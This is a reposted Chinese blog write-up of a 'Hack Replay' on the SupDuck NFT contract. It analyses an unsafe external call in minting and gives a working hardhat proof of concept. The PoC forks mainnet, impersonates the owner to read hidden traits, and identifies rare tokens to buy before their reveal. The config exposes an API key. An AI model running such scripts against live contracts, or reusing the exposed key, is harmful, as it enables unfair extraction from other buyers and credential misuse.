这篇文章主要介绍了Hack Replay – SupDuck ,文中通过代码以及文档配合进行讲解,很详细,它对在座的每个人的研究和工作具有很经典的参考价值。 如果需要,让我们与区块链资料网一起学习。

https://www.interchains.cc/24206.html

Hack Replay – SupDuck是很好的区块链资料,他说明了区块链当中的经典原理,可以给我们提供资料,Hack Replay – SupDuck学习起来其实是很简单的,

不多的几个较为抽象的概念也很容易理解,之所以很多人感觉Hack Replay – SupDuck比较复杂,一方面是因为大多数的文档没有做到由浅入深地讲解,概念上没有注意先后顺序,给读者的理解带来困难

Hack Replay – SupDuck

最近的NFT异常的火热,上一篇文章中分析了Samczsun提出的HashMasks这一NFT,对EIP721进行了简单的了解。但是在后续的沟通中,发现对于NFT,其意义远远超过了冰冷的EIP721. 同时也发现,自己对于NFT的理解是非常浅薄的。故借此文章将NFT的一些简单的玩法梳理一下。但仍遵循我们的Hack Replay的传统,找到合约漏洞,给出可执行的POC。

Hack Replay – SupDuck

Hack Replay - SupDuck

最近的NFT异常的火热,上一篇文章中分析了Samczsun提出的HashMasks这一NFT,对EIP721进行了简单的了解。但是在后续的沟通中,发现对于NFT,其意义远远超过了冰冷的EIP721. 同时也发现,自己对于NFT的理解是非常浅薄的。故借此文章将NFT的一些简单的玩法梳理一下。但仍遵循我们的Hack Replay的传统,找到合约漏洞,给出可执行的POC。

漏洞合约

Hack Replay - SupDuck

作为一个普通用户,参与NFT的一个途径是通过其官网上mint按钮,然后连接钱包,一直下一步即可得到一个NFT。其实质是调用了合约的mint方法,如下:

function mintDuck(uint numberOfTokens) public payable {     //允许sale     require(saleIsActive, "SupDucks/mintDuck sale not open");     //numberOfTokens数量小于10     require(numberOfTokens <= 10, "SupDucks/mintDuck can only 10 duck at a time");     //mint后的总数小于最大值     require(numberOfTokens.add(totalSupply()) <= MAX_DUCKS, "SupDucks/mintDuck exceed max supply of ducks");     //验证总金额正确与否     require(duckPrice.mul(numberOfTokens) <= msg.value, "Ether sent is not correct");     //调用内部函数mintDuck     _mintDuck(numberOfTokens, msg.sender); }

如果你读过我的上一篇文章HashMasks,可以发现mintDuck的逻辑跟HashMaskmintNFT一模一样。

function _mintDuck(uint numberOfTokens, address sender) internal {     //执行for循环,对每一次创建一个种子seed,将seed作为随机量添加入duck的特征值中。然后调用Openzepplin/ERC721中的safeMint方法     for(uint i = 0; i < numberOfTokens; i++) {         //get seed         uint256 seed = uint(keccak256(abi.encodePacked(nonce, block.difficulty, block.timestamp, sender)));         //get index, 即当前的总数量         uint mintIndex = totalSupply();         //给该index添加特征值         addTraits(seed, mintIndex);         //调用openzepplin中的safeMint方法         _safeMint(sender, mintIndex);     } }

由于很多的NFT合约都直接继承了Openzepplin的ERC721Upgradeable.sol,故,在samczsun的文章中强调的Unsafe External Call基本都存在。

function _safeMint(address to, uint256 tokenId, bytes memory data) internal virtual {     //调用内部的_mint函数更改状态     _mint(to, tokenId);     //[unsafe external call] from,to,tokenId,data     require(_checkOnERC721Received(address(0),to,tokenId,data)); }

_mint方法更改状态:

function  _mint(address to, uint256 tokenId) internal virtual {     //判断to不能是address(0)     require(address(0) != to, "SupDucks/_mint to is address(0)");     //tokenId不能已经存在     require(!_exsits(tokenId), "SupDucks/_mint tokenId already exists");     //更新owner状态: 写入owners字典,增加owners余额     _balances[to] = _balances[to].add(1);     _owners[tokenId] = to;     //发出Transfer事件     emit Transfer(address(0), to, tokenId); }

Unsafe External Call – 调用ERC721对应的onERC721Received方法

function _checkOnERC721Received(address from, address to, uint256 tokenId, bytes memory _data) private returns (bool) {     //如果to地址是EOA,直接返回true     //if (msg.sender == tx.origin) // 这里不合适这样判断,因为屏蔽了metaTransaction这种交互方式     //如果to地址是合约,则进行Unsafe External Call调用, 否则直接返回True     uint256 extcodesize_;     assembly{         extcodesize_ := extcodesize(to)     }     bytes4 func_signature =      bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"))     if (extcodesize_ > 0) {         uint res;         assembly{             //UNSAFE EXTERANL CALL             let in_offset := mload(0x40)             //abi.encodePacked(func_signature,func_signature)             mstore(in_offset, func_signature)             mstore(add(in_offset,0x04),func_signature)             let free_pointer := mload(0x40)             //update free pointer             mstore(0x40, add(in_offset,0x24))             let in_size := 0x24             let success := call(gas(),to,0,in_offset,in_size,0,0)             switch success             case 0 {                 returndatacopy(free_pointer, returndatasize())                 revert(free_pointer, returndatasize())             }             case 1 {                 returndatacopy(free_pointer, returndatasize())                 res := shr(224,mload(free_pointer))             }         }         if (res != uint256(uint32(func_signature))) {             return false;         }     }     return true; }

漏洞分析1

让我们使用Samczsun提出的4步分析法:明确External Call,External Call可被利用,是否满足三种模式,尝试利用。

在mintDuck方法中,我们可以看到External Call为:

address(to).onERC721Received(address,address,uint256,bytes)

该Call也是可以被利用的,因为地址to是我们自己给定的。

是否存在三种模式, 可以看到这里存在这第一种模式:在External Call之前更新数据

uint mintIndex = totalSupply(); function totalSupply() public returns (uint256) {     return _allTokens.length; }

在External Call之前,存在着数据更新,即totalSupply的值在更新。那么作为一个Unsafe External Call应该如何去影响totalSupply的值呢?最直接的思路是再去mint一些Duck增加totalSupply.

如上篇文章中所分析的一样,这样写事实上遵循了checks-effects-interacts这一模式,并不能通过重进入mintDucks方法来占的特别大的便宜。除了可以绕过numberOfTokens <= 10这一检查外。

漏洞分析2

如果这道题目的漏洞分析仅停留在分析1的层次,则与我之前写的文章Hashmasks水平保持一致。但实际上NFT的含义绝不仅限于EIP721. 要理解漏洞分析2,我们就需要对NFT的整个玩法有一定的了解。

从漏洞合约的分析中可以看到,一个NFT再Mint出来之后,通常会挂到opensea等NFT交易所上去售卖,如下图所示:

Hack Replay - SupDuck

由于NFT的特殊性,即每一个NFT都是独一无二的。区别每一个NFT都在于其基因,即DNA。再supduck中,基因体现在properties的稀有性,如果一个supduck的基因越稀有,则该NFT就有可能更加有价值。

Hack Replay - SupDuck

而如果一个NFT已经上架了opensea,我们就可以直接通过Opensea找到对应的合约地址:

Hack Replay - SupDuck

从Supduck的合约中看,并不是每一个的duck都是平等的,其存在着superDuck

function addTraits(uint seed, uint tokenId) internal {     //根据seed对该tokenId的DNA进行赋值,seed是一个随机数     for (uint8 i=0; i < NUM_TRAITS; i++) {         nonce++;         duckTraits[tokenId][i] = determineTrait(i, seed);     }     //检查是否满足superduck的条件     checkForSuper(tokenId, seed); }
function checkForSuper(uint tokenId, uint seed) internal {     uint16 roll = uint16(seed % (MAX_DUCKS - totalSupply()));     for (uint8 i = 0; i < NUM_SUPERS + 1; i++) {         if (roll < superStock[i]) {             superStock[i]--;             if (i > 0) {                 createSuper(tokenId, i);             }             return;         }         roll -= superStock[i];     }     revert("duck pit"); }
function createSuper(uint tokenId, uint superId) internal {     for (uint8 i=0; i < NUM_TRAITS; i++) {         duckTraits[tokenId][i] = uint8(99+superId);     } }

从合约分析中可以看到,superDuck的特点是其每一个duckTraits都是相同的数值,均为99+superId。

漏洞利用

从漏洞分析2中,我们已经知道存在着superDucks,但是要怎么才能知道哪一个才是superDucks呢?我们可以通过合约中的getTraits方法

function getTraits(uint tokenId) public view returns(uint,uint,uint,uint,uint,uint) {     //要求该tokenId已经存在     require(_exists(tokenId));     //要求调用者为管理员,IPFS字段长度大于0说明已经公开     require(bytes(IPFS_CIDs[tokenId]).length > 0 || _msgSender() == owner());     return (duckTraits[tokenId][0],duckTraits[tokenId][1],duckTraits[tokenId][2],duckTraits[tokenId][3],duckTraits[tokenId][4],duckTraits[tokenId][5],duckTraits[tokenId][6]); }

我们想要知道的是哪一个TokenId对应的duck是superDuck,最简单的办法是将每一个已经mint出来的tokenId对应的duck的duckTraits的值全部拿到。这里可以有两个思路:

思路1: 虽然duckTraits是一个内部的属性,但是再以太坊eth中并不存在真正的不能被外部访问的私有属性的值,可以通过web3直接访问插槽的方式访问

思路2:通过调用getTraits函数。虽然getTraits函数中有要求必须是msg.sender==owner才能访问,但是我可以在自己的本地环境中,利用hardhat的impersonateAccount方式来假装自己是owner实现访问。

确定区块高度

Hack Replay - SupDuck

根据已知信息,确认区块高度为12847922

require("@nomiclabs/hardhat-waffle"); task("accounts", "Prints the list of accounts", async (taskArgs, hre) => {   const accounts = await hre.ethers.getSigners();    for (const account of accounts) {     console.log(account.address);   } }); module.exports = {   solidity: "0.7.0",   defaultNetwork: 'hardhat',   networks: {     hardhat: {       forking:{         url: "https://eth-mainnet.alchemyapi.io/v2/7Brn0mxZnlMWbHf0yqAEicmsgKdLJGmA",         blockNumber:12847922,       },       throwOnTransactionFailures: true,       throwOnCallFailures: true,       allowUnlimitedContractSize: true,       gas: 12000000,       blockGasLimit: 0x1fffffffffffff,       allowUnlimitedContractSize: true,       timeout: 1800000     }   } };

得到合约ABI

从Opensea中可以得到合约地址为:https://etherscan.io/address/0x3fe1a4c1481c8351e91b64d5c398b159de07cbc5 这是一个代理合约,但是数据都在这个合约地址上。

其对应的实现合约的地址为:https://etherscan.io/address/0x91879d131091165bb92ba70296fd0f81ff59a3bc#code 

思路2对应的分析

首先我们采取思路2的方式,来获取所有的tokenId的Traits。

const hre = require("hardhat"); const ethers = hre.ethers  async function main() {    const supduck_addr = "0x3fe1a4c1481c8351e91b64d5c398b159de07cbc5";   await hre.network.provider.send("hardhat_impersonateAccount",["0xafd618064739a2820f5f80c2585563a8af0e6871"])   const owner = await ethers.getSigner("0xafd618064739a2820f5f80c2585563a8af0e6871")   console.log(owner.address)    //get Contract    const ISupDucks = await ethers.getContractAt("ISupDucks","0x3fe1a4c1481c8351e91b64d5c398b159de07cbc5")   console.log(await ISupDucks.owner())    //从0到10000逐个loop tokenId得到对应的traits   for (var i = 0; i < 10000; i++) {     console.log("the tokenId is %s", i)     console.log(await ISupDucks.connect(owner).getTraits(i))   }  }  main()   .then(() => process.exit(0))   .catch((error) => {     console.error(error);     process.exit(1);   });

Hack Replay - SupDuck

通过上述的For循环,我们可以找到如下对应的superDucks:

> await ISupDucks.connect(signer).getTraits(8294) [   BigNumber { _hex: '0x6b', _isBigNumber: true },   BigNumber { _hex: '0x6b', _isBigNumber: true },   BigNumber { _hex: '0x6b', _isBigNumber: true },   BigNumber { _hex: '0x6b', _isBigNumber: true },   BigNumber { _hex: '0x6b', _isBigNumber: true },   BigNumber { _hex: '0x6b', _isBigNumber: true } ] > await ISupDucks.connect(signer).getTraits(8439) [   BigNumber { _hex: '0x69', _isBigNumber: true },   BigNumber { _hex: '0x69', _isBigNumber: true },   BigNumber { _hex: '0x69', _isBigNumber: true },   BigNumber { _hex: '0x69', _isBigNumber: true },   BigNumber { _hex: '0x69', _isBigNumber: true },   BigNumber { _hex: '0x69', _isBigNumber: true } ] >

故,我们的策略如下:

找到编号为8294的supduck,然后买下它,再等待它揭露IPFS地址后,将其卖掉。 Hack Replay - SupDuck

部分转自网络,侵权联系删除www.interchains.cchttps://www.interchains.cc/24206.html

区块链毕设网(www.interchains.cc)全网最靠谱的原创区块链毕设代做网站 部分资料来自网络,侵权联系删除! 最全最大的区块链源码站 ! QQ3039046426
区块链知识分享网, 以太坊dapp资源网, 区块链教程, fabric教程下载, 区块链书籍下载, 区块链资料下载, 区块链视频教程下载, 区块链基础教程, 区块链入门教程, 区块链资源 » Hack Replay – SupDuck

提供最优质的资源集合

立即查看 了解详情